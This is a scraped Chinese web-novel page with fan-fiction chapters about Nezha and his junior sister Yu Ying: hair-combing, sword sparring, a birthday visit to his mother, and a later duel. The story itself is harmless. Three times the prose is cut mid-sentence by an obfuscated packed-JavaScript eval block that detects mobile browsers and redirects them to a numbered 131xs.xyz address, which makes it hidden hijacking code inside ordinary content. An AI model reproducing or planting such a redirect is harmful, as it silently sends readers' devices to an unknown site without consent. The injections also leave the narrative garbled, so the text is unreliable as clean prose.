;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647613|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么一直戴那个簪子?” 与应摸了摸头顶,哪吒还以为那簪子有何特殊意义,她却说:“不会梳头,随便弄的。” “你过来,我给你梳。” “哦,好。” 与应看见他从怀中取出两条金纹朱红的发带,看样子有些年头,却被仔细保管着。 哪吒的手指灵活地穿过她的发丝,取下木簪,长发如瀑倾泻而下。 头发被除自己之外的人碰感觉很奇妙,酥酥麻麻的,哪吒动作很轻,偶尔指尖擦过她后颈,激起一阵细微的颤栗。 “好了。”哪吒退后一步,满意地看着自己的杰作。 与应摸向头顶,两枚饱满的发髻扎在两边,垂下的发带质地轻软,能摸到上面精致的绣花。 “谢谢。” 哪吒捏住她两个发髻:“谢谁?” 赤裸裸的威胁。 “谢谢师兄。” “不过我要回去睡觉的话,头发又会散的。”与应摸了摸头顶精致的发髻,语气里带着几分可惜。 哪吒捏着下巴思考片刻,打了个响指:“哦,那你来找我,我给你梳。” “好。”与应点头,一脸理所当然。 两人就这样站在莲池边的小径上,一个提着湿漉漉的裙摆,一个头顶还开着朵粉莲花,丝毫没意识到这样的约定有多亲密。 夜风拂过,与应打了个喷嚏,哪吒这才注意到她的道袍下摆还滴着水,显然是刚才沾到的。 “笨死了。”哪吒嘴上嫌弃,手上却掐了个诀,一阵暖风环绕与应,瞬间蒸干所有水汽。 与应低头看着自己的裙摆,又抬头看看哪吒,月光下,少年耳尖那抹红还未完全褪去,头顶的莲花随着夜风轻轻摇曳。 “看什么看?走了。”哪吒转身迈步,却故意放慢了脚步等与应跟上。 两人一前一后走在石板小径上,影子在月光下交叠。 “到了。”哪吒清清嗓子,指着前方的小院。 与应抬头,发现不知不觉已经走到她的洞府。 “明天……什么时候来找你?”与应站在门口。 哪吒思考了一下:“辰时之前。梳完一起去练武场。” “好。”与应点头,却站着不动。 “还有事?”哪吒挑眉。 与应犹豫了一下,伸手碰了碰哪吒头顶的莲花:“这个,会一直开着吗?” 哪吒浑身一僵,那朵莲花却像是回应与应的触碰般,花瓣本能的舒张开来,露出里面淡黄的花蕊。 那种感觉又来了,哪吒的视线不自觉落在与应饱满的唇上,意识到自己在看什么后迅速移开。 “不知道!快进去睡觉!”哪吒几乎是落荒而逃,头顶的莲花在夜色中格外显眼。 与应看着他的背影消失在转角,才转身推开院门,她没急着进屋,而是坐在石阶上,摸了摸头上的发髻。 刚才差点没忍住……差点就吃掉那朵花了。 9. 三太子的捏捏乐 与应又梦到那个声音了,醒来后她躺在榻上发呆,无论如何都睡不着,就这样躺到卯时,随意吃了些仙鹤送来的食物便开始梳洗。 她对着铜镜试图自己梳头,却总是扎不好,折腾了半个时辰,最终顶着一头乱发出门。 清晨的莲池泛着雾色,池中有朵巨大的红莲,似乎察觉有人到访,莲花瓣瓣绽放,玉雕似的人支着下巴随意斜坐在里面,黑发用那根红云发带束起,衣襟微敞。 漆黑的眸里透着一丝疲惫,声音里带着初醒的沙哑:“来了。” 与应指了指自己头顶:“头发。” 哪吒这才注意到她一头乱发,有几绺还倔强地翘着,活像只炸毛的狸儿。 他忍不住笑出声:“笨死了,过来。” 与应站在木桥边缘,看着池水倒映中自己狼狈的模样,她本可以轻松跃过这段距离,却鬼使神差地放软声音:“我过不去。” 许是没睡好的缘故,她声音轻轻柔柔的,此时又故意放软,羽毛般拂过耳边。 “师兄。”她轻轻唤道。 哪吒呼吸一滞。这丫头什么时候学会这招了? 莲花座颤了颤,他抬手一招,池中升起几片莲叶,在水面铺成一座浮桥。 “过来。”哪吒命令道。 与应提着裙角踩上莲叶,每一步都让莲叶微微下沉,荡开一圈涟漪。 走到半途,她停下脚步,低头看着水中,那个顶着鸟窝头的身影,和莲花座上浅笑的少年,在荡漾的水波中时而清晰时而模糊。 哪吒瞧她突然停住不动,眉头微蹙:“发什么呆?小心掉下去。” 与应抬起脸:“师兄,若我是只狸妖,你会收了我吗?” 哪吒笑道:“就你这笨手笨脚的样子,若真是只狸儿怕是连鱼都捉不到。”他指尖轻弹,一朵小莲花飞过去,轻轻撞在与应额头上,“快过来,头发不梳了?” 与应抬手摸了摸被花碰过的地方,嘴角不自觉地上扬,她继续往前走,却在最后一片莲叶上故意踩偏—— 哪吒身形一闪,瞬间出现在她面前,一把扣住她的手腕,与应顺势往前一扑,整个人撞进他怀里。 “故意的?”哪吒低头看她,声音里带着危险的意味。 与应仰起脸,两人鼻尖几乎相触。她眨了眨眼,一脸无辜:“不是。” 哪吒单手搂着她的腰,另一手捏住她的下巴:“小妖怪,你可知招惹我的后果?” 与应不退反进,指尖轻轻点上他心口:“仙长要收了我么?” 夜间还是“水鬼”和“仙子”,现在身份调转,倒如话本中写得那般。 哪吒眸色转深,他松开手,转身就走:“坐好,梳头!” 与应看到他通红的耳根。她乖乖坐在莲心,任由哪吒抓起她的头发。 “疼就喊。”哪吒恶声恶气地说,动作却十分轻柔。 与应半阖着眼,感受着发丝被温柔梳理的触感,哪吒的手指偶尔擦过她的后颈,激起一阵战栗。 哪吒注意到她眼底的乌青。 “又做噩梦了?”哪吒突然问。 “嗯。” “还是那个声音?” 与应看着倒影中额间的那枚钿纹,缓缓道:“梦到很多血,有人叫我阿应,有人让我快跑。” 还有,她似乎杀了自己。 “好了。”哪吒最后系紧发带,顺手捏了下,“看看满不满意?” 与应转头看向水面倒影,只见两个圆润的发髻髻立在头顶,垂下的发带随风轻扬,衬得额间钿纹更加绯红。 “喜欢。” 哪吒将她扶起来:“行了,今日教你腾云。” 与应脸色一白,退开半步:“不学。” 她果真恐高,哪吒没有逼迫别人的习惯,不会飞又有什么关系,出门背着不就行了。 他改口:“练剑。” 与应毫不犹豫:“好。” 辰时,练武场。 哪吒将斩妖剑丢给与应:“你先用这个。” 与应接过,剑身锋芒流转,握住的那一刻她利落的挽了个剑花。 哪吒笑道:“你果然会用剑。” 初见时他就注意到对方手上的薄茧,那是常年握剑积累出来的,看来就算记忆没了身体还记得。 与应想得却是另一方面,她似乎从未见哪吒用过斩妖剑,大多时候都是那杆火尖枪。 她问道:“你不爱用剑吗?” 哪吒笑出声:“你见哪个上战场的人用剑的?” “那我还有用剑的必要吗?”与应一脸认真。 “你傻啊,只说教你,又没说要你必须用剑。” “那你教我什么?”与应握着斩妖剑,剑尖斜指地面,晨光在锋刃上流转。 哪吒手腕一翻,火尖枪已握在掌中:“教你活命。” 话音未落,枪尖已至与应咽喉三寸处,与应急忙抬剑格挡,武器相撞迸出火星,她借力后撤,却见哪吒枪势一变,猛地横扫而来。 “太慢了!”枪杆重重击在与应腰间。 与应闷哼一声,踉跄几步才稳住身形。她咬住下唇,奇怪的是,虽然疼,却没什么实质伤害。 哪吒枪尖点地,姿态慵懒:“再来。” 与应执剑冲了过去。 这次,她的动作比方才快了许多,剑身在空中划出一道银弧,直取哪吒左肩,他眼中闪过兴味,抬枪格挡。 “这才像样。”哪吒轻笑,枪势变得凌厉。 与应不再退缩,她的身体似乎记得每一个动作,每一次格挡、每一次反击都精准得不像话,剑锋与枪尖不断碰撞,火星四溅。 哪吒眯起眼睛,笑道:“有意思。” 他不再保留,攻势比之前凶猛数倍。 与应起初还能勉强应对,渐渐又落了下风,一次失误,枪杆重重扫在她小腿上,她单膝跪地,剑尖插入地面才没完全倒下。 “站起来。” 与应抬头,拔剑而起,攻势比之前更加凌厉,每一剑都带着不顾一切的狠劲,哪吒被这突如其来的变化打得节节后退,眼中笑意更甚。 他故意卖个破绽,与应果然中计,一剑刺向他心口——火尖枪在同一时刻指向与应咽喉。 两人同时停住。 枪尖离与应的脖颈只有半寸,而她的剑锋也抵在哪吒喉结下方,只可惜斩妖剑比火尖枪短了一截,若两人同时发力,先倒下的必然是她。 “现在知道我为何用枪了吧?” “战场上可没人跟你讲公平。”哪吒打断她,“短兵对长枪,要么近身,要么等死。”他顿了顿,“不过你今天表现确实不错。” 这几乎是他能给的最高评价了,哪吒只是不想让她过于依赖法器,毕竟那时被逼着谢罪时,可没有人还给他。 “明天继续。”哪吒伸了个懒腰,“今天先到这里。” 与应:“不练了?” “怎么?没打够?”哪吒挑眉,“要不换个方式?” 与应还没来得及问是什么方式,哪吒已经一把将她拉起来,另一只手扣住她的腰,带着她腾空而起。 她把脸埋在哪吒肩头,声音闷闷的:“放我下去!” “不放。”哪吒故意升高了些,“多适应几次就不怕了。” “看,”他轻声说,“没那么可怕,对吧?” 与应看向天际不断翻涌的云海,那里被朝阳染成碎金,而他们正行在这云中,似乎也没那么可怕了。 她平复心情问道:“去哪?” 哪吒将她乱飞的碎发别到耳后:“去陈塘关,给你弄几身行头。” 今日是他生辰,师妹也得漂漂亮亮的。姑娘家穿的一身披麻戴孝,像什么样子? 城内比昨日还要热闹。 有挑担的货郎,有骑马的书生,还有嬉戏的孩童,各种气味混杂在一起——刚出炉的炊饼香、糖葫芦的甜腻、以及街角鱼贩的腥气。 与应注意到每家铺面都栓着红绸,像在庆贺什么。 “饿了吧?吃些东西去。”哪吒牵着她往包子铺走。 还是那位胖乎乎的老板,老板见到二人连忙把手往围裙上抹了抹。 “三公子!” 哪吒显然心情极好:“张叔,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647614|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天一样,来两笼肉包。” 老板掀开蒸笼,夹出热腾腾的包子放进油纸袋里递过来。哪吒接过递给与应:“来,小心烫。” 拿出的银子却被老板推拒,他脸上还沾着面粉,憨厚道:“三公子,今天可是好日子啊!不收钱!” 哪吒不置可否,把钱放到桌子上:“快打仗了,留着用吧。” 老板叹气:“这年头日子不好过啊,那纣王暴虐无道,城外的流民又多了,只怕安稳日子要到头喽。” 与应不愿打断两人对话,低头啃包子,却感觉一道视线看着她。 哪吒鲜红的唇一弯:“呦,学聪明了,知道吹凉了?” “你把我当傻子呢?” 老板瞧这两人剑拔弩张的架势连忙开口:“三公子!今天记得玩得尽兴啊!” 哪吒十分自然的牵起与应转身离开:“知道了,生意兴隆。” 包子真好吃啊。香! 哪吒牵着她走,时不时回头看她:“你这吃相也太差了吧,像我虐待你一样。” 与应立刻反驳道:“在练武场的时候你用枪,却要我使剑,若你用的也是剑,我未必会输给你。” 小姑娘眉眼间皆是认真,还计较着方才的胜负,平时和和气气的,没想到这样在意胜负,倒是和他一样的性子。 哪吒抬手捏捏她头顶的发髻:“这叫兵不厌诈,学着点。” 与应算是明白了,哪吒不是好心给她梳头发,分明是把她当成宠物,得了闲暇便要揉捏折腾一番。 今日他生辰,不与他计较。她敷衍一声后继续啃包子。 一路走来都有孩童往哪吒手里塞东西,各式各样的小玩意和玩具之类的,想必是听闻今日哪吒生辰,特意将自己最爱的玩具都拿出来送他了。 “三少爷生辰快乐!” “哪吒哥哥,这是我摘的野花!” “糖给你吃!” 孩子们把东西塞到他手里就跑开了,哪吒朝着他们离去的方向喊道:“谢了!小鬼们!” 这就是孩子王啊。 哪吒随手将一颗糖塞进她嘴里,甜香在口中化开,哪吒看着她:“甜不甜?” 可恶!和包子味混在一起了!好奇怪的味道! 与应认真道:“甜!” 可不能扫兴。 哪吒可没错过刚才她脸上的变化,却也没说话,带着她继续往前走。 一个卖糖人的老伯叫住了他们:“三公子!给小娘子买个糖人吧!” 哪吒脚步一顿,看向与应:“想要哪个?” 与应凑近糖人架子,糖人画得栩栩如生,有飞禽走兽,也有老伯自己想象的传说人物,她的目光在一个持枪的小人上停留。 “就这个。”哪吒直接指了那个小糖人,付了钱。 与应接过糖人,将它举起来观察:“好像你。” “有我好看?” 与应将视线从糖人移回他身上。 站在她面前的少年身着红衣,眉间一点朱砂,鸦羽般的长睫下是漆黑的眸子,眼尾微微上挑,带着几分天生的傲气。 鼻梁高挺,唇若涂朱,面若傅粉,黑发随意束在脑后,几缕碎发垂在额前,随风轻扬。 这般容貌,不似凡尘应有。 与应看了看糖人,又看了看哪吒,认真道:“你好看。” 哪吒听到的显然不一样,又问道:“这个哪吒就不好看了?” 与应含住糖人:“这个好吃。” “我不好吃?” 话一出,两人都是一愣,与应看着哪吒,咬下糖人半个脑袋:“你又不让我吃,我怎么知道好不好吃?” 哪吒眯起眼抓住她的发髻,与应随他动作摇晃:“好啊,激将法?” “行了,跟我走。”哪吒终于放开被自己蹂躏一路的花苞头。 “去哪啊?”与应捧着那些零碎的小物件,一路上叮叮当当的,她还时不时回头看掉没掉东西。 “做你的新衣服。”哪吒顺手用乾坤袋将那些东西收进去,与应这才解放双手。 合着他刚才故意不拿出来的是吧? 10. 天命 绕来绕去的小路,最后通向李府的某间院子,这里没有护卫,空气中飘着淡淡的药香,混合着槐花的甜味,时不时被一阵压抑的咳嗽声打断。 “我们就这样进去?”她压低声音问道。 哪吒脚步未停,只是微微侧头:“她等很久了。” 哪吒站在院门前,突然停住,与应看见他喉结上下滚动了一下,才抬手推开那扇虚掩的木门。 院中有棵老槐树,树干上刻着几道浅浅的划痕,似乎记录了某个孩子的成长,树下的石桌摆着盏莲花灯,灯芯已经燃尽,只留下一圈干涸的蜡泪。 窗内,有道纤细的身影正低头做着针线,银白发丝从鬓角垂下,在晨光中几乎透明。 “娘。” 他轻唤一声,声音是前所未有的柔软。 窗内忙活的身影停下了,殷素知放下针线:“吒儿,”目光随即落在与应身上,眼中闪过一丝了然,“这就是……” “与应。”哪吒简短地介绍,轻轻推了推师妹的后背。 与应连忙行礼:“夫人好。” 殷素知快步走出房门,她伸手扶起与应:“好孩子,快进来。” 屋内陈设简朴,却处处都能看见布老虎、拨浪鼓、纸风车之类的物件。 与应注看到墙上挂着一幅小小的画,画中的孩童约莫三四岁,扎着双髻,额间一点朱砂,正举着布老虎笑得开怀,画纸已经泛黄,边角却平整如新,显然被精心保存着。 “坐这儿。”殷素知拉着与应在椅子上坐下,从柜中取出一条鹅黄的裙子,“我按吒儿说的尺寸裁的,你试试看合不合身。” 与应接过,布料触手生凉,质地柔软。她抬头看向哪吒,后者正倚在门边,目光落在母亲发间的银丝上。 “你如何知道我尺寸的?” 哪吒笑道:“不是背过你吗?” 一次就记住了? 殷素知轻笑出声,从针线筐里取出软尺:“来,再量量肩宽。” 动作轻柔熟练。 与应安静地站着,她看到梳妆台上摆着一个小木匣,匣中整齐地排列着各色丝线,最上面是鲜艳的红。 “今日是吒儿生辰。”殷素知边量尺寸边轻声道,“他天不亮就来了,发间系着新发带,在我门前转了好几圈……” 难怪去找他的时候眼底那么疲惫。 殷素知笑着摇摇头,量完最后一处尺寸,转向哪吒:“过来。” 哪吒站在原地,与应看见他垂在身侧的手微微发抖,殷素知却已拿起梳子,柔声道:“发带有些松了。” 终于,哪吒缓步走到她身前,坐在凳子上,殷素知轻轻解下那条发带。 “这发带织得真好。”殷素知对与应轻笑,“针脚细密,还添了莲花。” 与应脸上一热:“是、是师父教的……” 殷素知将哪吒的头发束成高马尾,指尖在那条发带上停留了片刻:“很适合你。”她的声音有些哽咽,“我的吒儿……长大了。” 他张了张嘴,却什么也没说出口,只是轻轻握住了母亲的手。 与应悄悄退到一边,目光掠过墙上那幅小画,画中的孩童笑得无忧无虑,与此刻半跪在母亲身前的身影渐渐重合。 有红色的脐带在这里打了个结,将过去与现在缝在一起,若没有天命,本该如此。 “娘,你的病……” 殷素知笑着摇头:“老毛病了,不碍事。”她轻轻抽出手,转向与应,“来,试试这件衣裳。” 与应刚要开口,忽然听见院外传来脚步声,殷素知脸色瞬间苍白,手指紧紧攥住桌布。 “老爷……”门外传来侍女惊慌的声音。 与应还没反应过来,就被哪吒一把拉到身后,他的背影绷得笔直,将她牢牢笼住。 院门被推开的声音像道惊雷,与应探头望去,看见一个高大的身影站在晨光里——金甲未卸,腰间佩剑,面容冷峻如铁。 李靖。 空气仿佛凝固了,殷素知站起身,指尖掐进掌心:“老爷……” 李靖的目光扫过屋内,在哪吒身上停留了一瞬,又移向与应:“这位是?” “乾元山弟子。”哪吒的声音冷得像冰,“与应。” 与应感觉到哪吒的手指在微微发抖,不是恐惧,而是某种压抑到极致的情绪,她悄悄伸手,握住他的手腕。 李靖点点头,目光落在殷素知手中的衣裙上:“在做衣服?” 殷素知勉强笑了笑:“是给吒儿师妹的见面礼……” “今日……”李靖开口,又停住,最终只是生硬地说,“我还有军务。” 他转身离去,铁靴踏在青石板上发出沉闷的声响,哪吒仍然站在原地,与应感觉到他的手腕冰凉一片,她轻轻捏了捏他的手指。 殷素知的手轻轻搭在哪吒肩上:“吒儿……” “我去试衣服。”与应抱起那件鹅黄裙子,快步走进里屋。 里屋的陈设更简单,一张床,一个衣柜,窗台上摆着几盆小小的多肉植物,与应抚过裙子上的针脚,每一处都细密整齐。 外间传来低低的说话声,与应屏住呼吸,听见殷素知温柔的声音:“与应……是个好姑娘。” 没有回应,只有布料摩挲的轻微响动。 “她很在乎你。”殷素知继续说,“那条发带……用了不少心思吧?” 这次,与应听见哪吒几不可闻的“嗯”了一声。 “下次……带她去看桃花吧。”殷素知的声音带着笑意,“陈塘关的桃花快开了。” 她的手指无意识地攥紧裙子,想象着哪吒此刻的表情,一定是别过脸,耳尖通红,却默默记下了。 当她换好衣服走出来时,哪吒正站在窗边,望着院中的老槐树,晨光透过树叶的缝隙,在他脸上投下斑驳的光影。 殷素知见她出来,眼睛一亮:“正合适。” 鹅黄色的裙子衬得她灵动娇俏,腰间的系带勾勒出少女的轮廓,她果然适合这样的衣服,与她的眼睛相称。 哪吒回头看了一眼,又迅速转回去。 “谢谢夫人。”与应转了个圈,裙摆如荷叶般舒展开来。 殷素知笑着从梳妆台取出一枚雕花玉佩:“这个给你。”见与应要推辞,她温声道:“就当是……替我多陪陪吒儿。” 哪吒转身,大步走到院中,透过窗,与应看见他站在槐树下,仰头望着树梢新发的嫩芽。 “让他静静吧。”殷素知轻叹,将那碧色的玉佩别在她腰间,“他只是……不知该怎么面对这一切。” 与应望向窗外那个孤独的身影,那时他独自站在房檐看着母亲做针线活的时候,在想什么呢? “夫人,”与应突然开口,“我能问一个问题吗?” 殷素知的手指顿了顿:“你说。” “当年……”与应犹豫着,“您为什么……” “为什么护着那个肉球?”殷素知接上她的话,目光落到院中。 “因为他是我的孩子啊。”她抚过桌上未做完的小衣裳,“母亲保护孩子,需要理由吗?” 与应顺着她的视线看去,发现那是一件婴孩的肚兜,上面绣着未完成的莲花与鲤鱼的纹样。 “这是?” “怀着他的时候准备的。”殷素知轻声道,“可惜吒儿出生就是三岁,没有用上。” 那三年,一定很辛苦吧,可从没有人问过她。 殷素知留他们吃了晚饭,桌上摆了与应爱吃的包子,哪吒爱吃的桂花糕,还有各式菜色和长寿面。 哪吒站在桌边,目光落在那碗长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647615|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寿面上,面条根根分明,上面卧着两个荷包蛋,撒着翠绿的葱花。 “坐吧。”殷素知柔声道,先给与应夹了一个包子,“尝尝合不合口味。” 包子皮薄馅足,咬开时鲜香的汤汁溢满口腔,与应抬头看向哪吒:“这个……” 哪吒正低头吃面,闻言抬眼看她,嘴角沾着一点汤汁,与应指了指自己的嘴角示意。 他皱眉擦了一下,却擦错位置,殷素知笑着递过帕子:“从小就这样,吃面总会沾到。” 哪吒从小天生神力,在饭桌上自然是闲不住的,最讨厌的就是面条,不仅烫还吃着麻烦,每次都急匆匆吃完跑出去玩。 “夫人手艺真好。”与应真心实意地赞叹。 殷素知眼中泛起温柔的光:“吒儿小时候吃的可多了。”她说着,随即给哪吒添了一勺汤,“慢点吃,别噎着。” 哪吒的筷子顿了顿,低声道:“……又不是小孩子了。” 话虽这么说,他却将母亲添的汤喝得一滴不剩。 饭后,殷素知取出一盏莲花灯:“吒儿,来。” 哪吒走过去,看着母亲将灯芯点燃。 “许个愿吧。”殷素知轻声道。 他闭上眼睛,嘴唇微动,许完愿,他轻轻吹灭灯芯,一缕青烟袅袅升起。 “许了什么愿?”殷素知笑着问。 哪吒别过脸:“……说出来就不灵了。” 殷素知也不追问,只是温柔地摸了摸他的头发,就像对待儿时的他一样。 回程的路上,哪吒异常沉默,与应走在他身侧,哪吒停下脚步,开口道:“我不知道该怎么办了。” 与应看着他。 “我本以为被困住的是自己,却没想到真正被困住的人是她。” “她可以走的,但是没有。她在等我。” “是我困住了她。” 与应摇头道:“是爱困住了她。” 与应直视着他的眼睛,一字一句道:“就像她当年握住那把剑时一样,不是责任,不是愧疚,只是……爱。” “可我……”他的声音哽住了,“已经……” 与应踮起脚,伸手捂住他的嘴:“不许这么说。”她的指尖能感受到他急促的呼吸,“夫人等的是你,从来就只有你。” “母亲啊,本就是最伟大的人。” 月光下,与应仰头看着哪吒,她发现这位传闻中暴戾的三太子,此刻眼中闪烁的竟是与寻常孩童无异的迷茫,唯独额间那滴凝结的血泪,安静烙在那里。 “师兄。”她轻声道,“你看。” 她指向远处的李府,透过窗,能看见殷夫人正低头缝补着什么。 “她等的从来不是那个会闹海屠龙的三太子。”她声音很轻,“等的只是你。” 哪吒的喉结滚动了一下,夜风吹动他的发丝,拂过她的脸颊,带起淡淡的莲香。 “你倒是……”他顿了顿,声音不自觉地柔和下来,“很会安慰人。” 与应摇摇头:“我只是说了事实。”她指了指自己腰间的玉佩,“就像这个,夫人给我的时候,说的是‘替我多陪陪吒儿’,不是‘照顾好三太子’。” · 哪吒每年生辰殷素知都要做滚烫的面条,或许看到在他吃面时总擦错的嘴角时,他才会像个普通孩子。 不用背负杀劫,不用背负天命。 可惜她并不能改变什么,因为哪吒生来就是要重塑肉身完成封神之战的。 她只能日复一日的梦见被剔下的骨肉,看着命运的轨迹朝既定的方向蔓延,直到最后一丝连接血亲的脐带断裂。 而哪吒许下的愿望,放不下的尘缘,终究都会从这副留不住情感和执念的莲花躯体中散去,成为杀星、成为伐纣先行官、成为无心无情的天神。 11. 她惯会哄着他 仙鹤送来的食物虽然能饱腹,但还是太清淡了,与应知道师父是为自己好,可她就是忍不住想吃那些乱糟糟的东西。 被她央求的哪吒微微挑眉,听了几句软声细语就忘我,丝毫没记起师父不允许两人擅自离山的新规。 下山自然是由哪吒背着,风火轮在天边划出一道红痕,不过眨眼的功夫就到了陈塘关。 吃了乱七八糟的东西后去找殷素知,妇人笑着为他们煮了新包的甜圆子,与应得了几身新裁的衣裳。 吃完饭也不急着走,两人就趴在桌子上看她做针线活,与应觉得,若她有母亲,会不会也在夜间燃灯缝东西,或是温好饭等着她呢? 她看着看着睡着了,全然没听到哪吒和殷素知讨论如何给小姑娘梳个好看发髻的话题。 就这样过了半月。 · 与应很聪明,教的东西一遍就能学会,仅仅半月就将太乙真人传授的心诀融会贯通,怨气也不似初时那般躁动。 学会各种心诀和体术后,两人唯一的交集就是梳头发了,闲暇时,一个在池子里泡着,一个在后山种萝卜,互不打扰。 哪吒躺在莲池中央闭合的花苞里,透过花瓣的缝隙望着天空,旁边的匣子里装着几条颜色各异的发带。 鹅黄的、淡绿的、藕粉的,都是他这几日下山时买的。 当时想着与应那丫头若是发间添些颜色定会好看。谁知东西买回来了,人却不来了。 “小没良心的。”哪吒嘟囔着,伸手一招,那几条发带便飞入掌心。 哪吒摩挲着其中那条鹅黄色的,布料柔软,却不及那人脸颊触感,眼前浮现出那双潋滟着春色的眸子。 他不过下山除了只妖,回来就发现与应已学会腾云之术,外出时不再需要他背着。 三天了,他的小师妹已经整整三天没来找他了。 哪吒随意薅了朵云躺上去,慢慢飘着。 后山传来隐约的欢笑声,哪吒竖起耳朵,是兔子精在和谁说话,那轻快的语调,分明就是…… “小雪姐姐,你看这颗萝卜长得多好!”少女清脆的声音随风飘来,带着掩不住的雀跃。 哪吒都能想象到那张脸说出这种话是什么样子,他趴在云头向下望去,只见与应蹲在菜地里,正兴高采烈地和兔子精讨论着什么。 阳光洒在她鹅黄色的裙摆上,腰间那枚碧玉随着动作轻轻晃动。 “哼,萝卜比我还重要?”哪吒撇撇嘴,却忍不住多看了几眼。 兔子精抬起爪子朝他的方向指了指,与应转过头来。 哪吒慌忙躺下,将自己藏进云里。 “师兄在休息呢。”与应的声音从下面飘来,“这几天他好像很累的样子……” 哪吒屏住呼吸。原来她有关注自己? “那你要不要去看看他?”兔子精问。 哪吒揪住云。 “不了吧,”与应轻声道,“他需要好好休息。” 不了吧?小没良心的。 哪吒一个翻身从云上跃下,他故意加重脚步声,踩得地上的落叶沙沙作响。 与应和兔子精同时抬头,只见哪吒抱臂站在不远处,发带随风飘扬,脸上写满了不高兴。 “师、师兄?”与应手里的胡萝卜掉在地上。 “还知道我是你师兄?”哪吒看到她就气不打一处来,“学会腾云就翻脸不认人了?” “我以为师兄需要休息。” “我需不需要休息用得着你决定?”哪吒大步走过来,一把拎起她的后领,“走,检查功课去。” 雪兔捂嘴偷笑,被哪吒瞪了一眼后立刻专心种萝卜,与应被拎着腾空而起,她仰头看着哪吒紧绷的下颌线,轻声道:“你生气了?” “谁生气了?”哪吒哼了一声,却把她拎得更高了些,“看看你有没有偷懒。” 风掠过耳畔,鹅黄的裙摆在空中翻飞,与那片绯红交织在一起,她悄悄伸手拽住哪吒的衣袖。 “我每天都练习腾云。”她轻声哄道,“就等着给师兄看。” 哪吒的耳尖微微泛红,手上的力道却不自觉地放轻了些:“练得怎么样?” “能飞过整座山了。”与应顿了顿,又补充道:“不过还是比不上师兄的风火轮。” 这句恭维显然很受用,哪吒嘴角微扬,终于将她放了下来:“那就展示给我看看。” 与应点头,单手掐诀,一朵白云应召而来,她轻盈地跃上云端,鹅黄裙摆迎风展开。 哪吒抱臂看着,忽然发现她的腾云之术已经相当纯熟,云朵聚散自如,飞行轨迹平稳流畅。 这哪是刚学会三天的水平?分明是下过苦功的。 “还不错。”他故作冷淡地评价。 “我还要回去种萝卜。” 哪吒:“所以?” “能不能放我走?” “不能。” “为什么?” 哪吒一把拽住与应的手腕,混天绫缠了上来:“我说不能就不能。” 与应低头看着腕间缠绕的红绫,平静道:“你不讲道理。” 哪吒下巴微抬:“在乾元山,我哪吒就是理。” “那我和师父说去。”与应转身就要走。 “不许去!”哪吒一把拽住她。 这般举动料是傻子都能看出来,这人哪里是来检查她功课,分明是少了个小尾巴心里不舒服。 她决定打直球,与应直视着哪吒:“说了这么多,原来你是想让我陪着你啊。” “谁、谁要你陪了!”哪吒的耳尖瞬间红了。 “不知道。”与应轻轻摇头,唇角却微微上扬。 “你不服?” “不服。” “比比?”哪吒道,“这回我们都用剑。” 与应脱下如意,此物通体翠色,平时多作为手镯挂在手腕上。 是太乙真人前日赠予她的,因与应只有一双手的缘故,多的法宝拿不了,太乙真人干脆给了她可以随心意变化法器的如意。 而如意正式认主的那天,它在与应手里化作一柄充满肃杀之气,流转着寒芒的银白长剑。 如意化作长剑,与应挽了个剑花:“输了如何,赢了又如何?” 哪吒挑眉道:“输了就乖乖听师兄的话,赢了……”他顿了顿,“随你提要求。” “好。” 话音未落,与应已率先出剑,她剑招干净利落,带着几分哪吒的影子,却又融入了自己的风格。 “跟谁偷学的?”他一个侧身避开直刺。 “除了你还会有谁?”与应手腕一翻,剑锋贴着哪吒的衣襟划过。 她可忘不了那耻辱的一天,夜里回去都要反复复盘哪吒的招式。 剑刃相击,火花四溅,哪吒眼中闪过意外,这丫头的剑势竟比刚才更为凌厉。 “你分心了。”与应突然变招,如意剑化作长鞭缠住哪吒的手腕。 哪吒挑眉,轻松挣脱束缚:“花样不少。” “师兄教的好。”与应手腕一抖,长鞭又变回长剑,剑尖直指哪吒咽喉。 哪吒不躲不闪,在剑尖即将触及皮肤的瞬间消失在原地,与应急忙转身,却见哪吒竟已出现在她身后,长剑迎面刺来。 砰—— 与应仓促格挡,被震得后退数步,她稳住身形,如意剑化作银盾,挡住哪吒紧随其后的连击。 “防守不错。”哪吒攻势不减,“但光躲可赢不了。” 与应没有答话,银盾散作无数银针,暴雨般射向哪吒。 混天绫卷着风蔓延开来,将银针尽数挡下,红绫撤下的一瞬,她欺身而上,如意剑重新凝聚,剑尖稳稳停在哪吒心口前三寸。 与此同时,斩妖剑也抵在她腰间。两人僵持不下,四目相对,微风拂过,吹动两人的发丝。 哪吒笑道:“平手?” 与应点点头,却没有收剑:“那赌约怎么算?” 